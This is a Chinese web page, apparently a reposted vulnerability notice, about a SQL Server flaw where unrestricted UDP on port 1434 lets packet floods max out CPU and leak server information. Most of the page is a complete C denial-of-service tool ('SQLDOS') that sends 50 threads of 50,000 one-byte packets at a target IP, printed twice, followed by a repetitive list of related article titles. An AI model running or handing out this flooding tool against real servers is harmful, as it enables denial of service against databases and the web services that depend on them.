构造特殊的UDP数据包能造成SQL Server服务器CPU负荷加重漏洞
来源:互联网 发布:支付宝与淘宝解绑 编辑:程序博客网 时间:2024/05/21 17:13
漏洞描述:
由于SQL Server对1434端口的UDP没有限制,构造特殊的UDP包,SQL Server就一定会作出回应。如果收到大量的这些UDP包,SQL Server将消耗CPU,来处理这些UDP回应,虽然这不能造成主机当机等严重影响,但是CPU使用率将很容易达到100%,从而造成数据库服务器负荷加重,对其他服务(比如WEB)能造成拒绝服务。同时,恶意攻击者只需要对SQL Server发送一个1个字节的UDP数据,SQL Server将到处发送自己的数据库服务器信息。
解决办法:
暂时没有
测试程序:
// SQLDOS.cpp
//
////////////////////////////////////////////////////////////
//
// SQLDOS by refdom
//
// Author: refdom.
// Email: refdom@263.net
//
////////////////////////////////////////////////////////////
#include "stdafx.h"
#include <string.h>
#include <stdio.h>
void sendudp (void* v)
{
int i;
char buf[1]={'/x02'};
SOCKADDR_IN addr_in;
char *targetip;
targetip=(char*)v;
SOCKET sock;
if ((sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP))==INVALID_SOCKET)
{
printf("Socket failed.Error:%d/n",WSAGetLastError());
return;
}
const int SNDBUF = 0;
const int TCPNODELAY = true;
const int BROADCAST = true;
if (setsockopt(sock, SOL_SOCKET, SO_SNDBUF, (const char*)&SNDBUF, sizeof(SNDBUF))==SOCKET_ERROR)
{
printf("Set SO_SNDBUF failed.Error:%d",WSAGetLastError());
return;
}
if (setsockopt(sock, SOL_SOCKET, TCP_NODELAY, (const char*)&TCPNODELAY, sizeof(TCPNODELAY))==SOCKET_ERROR)
{
printf("Set TCP_NODELAY failed.Error:%d",WSAGetLastError());
return;
}
if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (const char*)&BROADCAST, sizeof(BROADCAST))==SOCKET_ERROR)
{
printf("Set SO_BROADCAST failed.Error:%d",WSAGetLastError());
return;
}
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(1434);
addr_in.sin_addr.S_un.S_addr=inet_addr(targetip);
for (i=1;i<50000;i++)
//发送50000次请求
{
if (sendto(sock, buf, sizeof(buf), 0,(sockaddr*) &addr_in, sizeof(addr_in))==SOCKET_ERROR)
{
printf("Send failed.Error:%d/n",WSAGetLastError());
return;
}
}
closesocket(sock);
}
void useage()
{
printf("******************************************/n");
printf("SQLDOS/n");
printf("/t Written by Refdom/n");
printf("/t Email: refdom@263.net/n");
printf("Useage: SQLDOS.exe target_ip /n");
printf("*******************************************/n");
}
int main(int argc, char* argv[])
{
WSADATA WSAData;
int i;
useage();
if (argc<2)
{
return false;
}
if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
{
printf("WSAStartup error.Error:%d/n",WSAGetLastError());
return false;
}
printf("SQLDOS start...");
for (i=1;i<=50;i++)
{
_beginthread(sendudp, 0, (void*)argv[1]);
}
Sleep(500000);
WSACleanup();
printf("SQLDOS Complete./n");
return 0;
}
由于SQL Server对1434端口的UDP没有限制,构造特殊的UDP包,SQL Server就一定会作出回应。如果收到大量的这些UDP包,SQL Server将消耗CPU,来处理这些UDP回应,虽然这不能造成主机当机等严重影响,但是CPU使用率将很容易达到100%,从而造成数据库服务器负荷加重,对其他服务(比如WEB)能造成拒绝服务。同时,恶意攻击者只需要对SQL Server发送一个1个字节的UDP数据,SQL Server将到处发送自己的数据库服务器信息。
解决办法:
暂时没有
测试程序:
// SQLDOS.cpp
//
////////////////////////////////////////////////////////////
//
// SQLDOS by refdom
//
// Author: refdom.
// Email: refdom@263.net
//
////////////////////////////////////////////////////////////
#include "stdafx.h"
#include <string.h>
#include <stdio.h>
void sendudp (void* v)
{
int i;
char buf[1]={'/x02'};
SOCKADDR_IN addr_in;
char *targetip;
targetip=(char*)v;
SOCKET sock;
if ((sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP))==INVALID_SOCKET)
{
printf("Socket failed.Error:%d/n",WSAGetLastError());
return;
}
const int SNDBUF = 0;
const int TCPNODELAY = true;
const int BROADCAST = true;
if (setsockopt(sock, SOL_SOCKET, SO_SNDBUF, (const char*)&SNDBUF, sizeof(SNDBUF))==SOCKET_ERROR)
{
printf("Set SO_SNDBUF failed.Error:%d",WSAGetLastError());
return;
}
if (setsockopt(sock, SOL_SOCKET, TCP_NODELAY, (const char*)&TCPNODELAY, sizeof(TCPNODELAY))==SOCKET_ERROR)
{
printf("Set TCP_NODELAY failed.Error:%d",WSAGetLastError());
return;
}
if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (const char*)&BROADCAST, sizeof(BROADCAST))==SOCKET_ERROR)
{
printf("Set SO_BROADCAST failed.Error:%d",WSAGetLastError());
return;
}
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(1434);
addr_in.sin_addr.S_un.S_addr=inet_addr(targetip);
for (i=1;i<50000;i++)
//发送50000次请求
{
if (sendto(sock, buf, sizeof(buf), 0,(sockaddr*) &addr_in, sizeof(addr_in))==SOCKET_ERROR)
{
printf("Send failed.Error:%d/n",WSAGetLastError());
return;
}
}
closesocket(sock);
}
void useage()
{
printf("******************************************/n");
printf("SQLDOS/n");
printf("/t Written by Refdom/n");
printf("/t Email: refdom@263.net/n");
printf("Useage: SQLDOS.exe target_ip /n");
printf("*******************************************/n");
}
int main(int argc, char* argv[])
{
WSADATA WSAData;
int i;
useage();
if (argc<2)
{
return false;
}
if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
{
printf("WSAStartup error.Error:%d/n",WSAGetLastError());
return false;
}
printf("SQLDOS start...");
for (i=1;i<=50;i++)
{
_beginthread(sendudp, 0, (void*)argv[1]);
}
Sleep(500000);
WSACleanup();
printf("SQLDOS Complete./n");
return 0;
}
- 构造特殊的UDP数据包能造成SQL Server服务器CPU负荷加重漏洞
- 利用SQL Server 2005减轻生产服务器优化负荷
- 利用SQL Server 2005减轻生产服务器优化负荷
- 利用SQL Server 2005减轻生产服务器优化负荷
- 利用SQL Server 2005减轻生产服务器优化负荷
- 利用SQL Server 2005减轻生产服务器优化负荷
- 利用SQL Server 2005减轻生产服务器优化负荷
- 利用SQL Server 2005减轻生产服务器优化负荷
- 利用SQL Server 2005减轻生产服务器优化负荷
- 利用SQL Server 2005减轻生产服务器优化负荷
- 利用SQL Server 2005减轻生产服务器优化负荷
- 利用SQL Server 2005减轻生产服务器优化负荷
- 利用SQL Server 2005减轻生产服务器优化负荷
- 利用SQL Server 2005减轻生产服务器优化负荷
- 利用SQL Server 2005减轻生产服务器优化负荷
- cpu负荷
- SQL Server使用链接服务器的5个性能杀手
- SQL Server使用链接服务器的5个性能杀手
- UDP协议的标题结构
- UDP用户数据报头格式
- Orz oz
- 基于UDP的网络通讯程序
- 全面掌握VisualC#实现UDP协议
- 构造特殊的UDP数据包能造成SQL Server服务器CPU负荷加重漏洞
- 使用Java JDK中Java.net包控制UDP协议
- telnet的常用命令
- 如何通过Telnet命令远程修改Winodws口令
- Telnet技术白皮书
- Telnet协议概述
- TELNET协议规范
- 用Telnet连接远程计算机
- 用Telnet快速收发电子邮件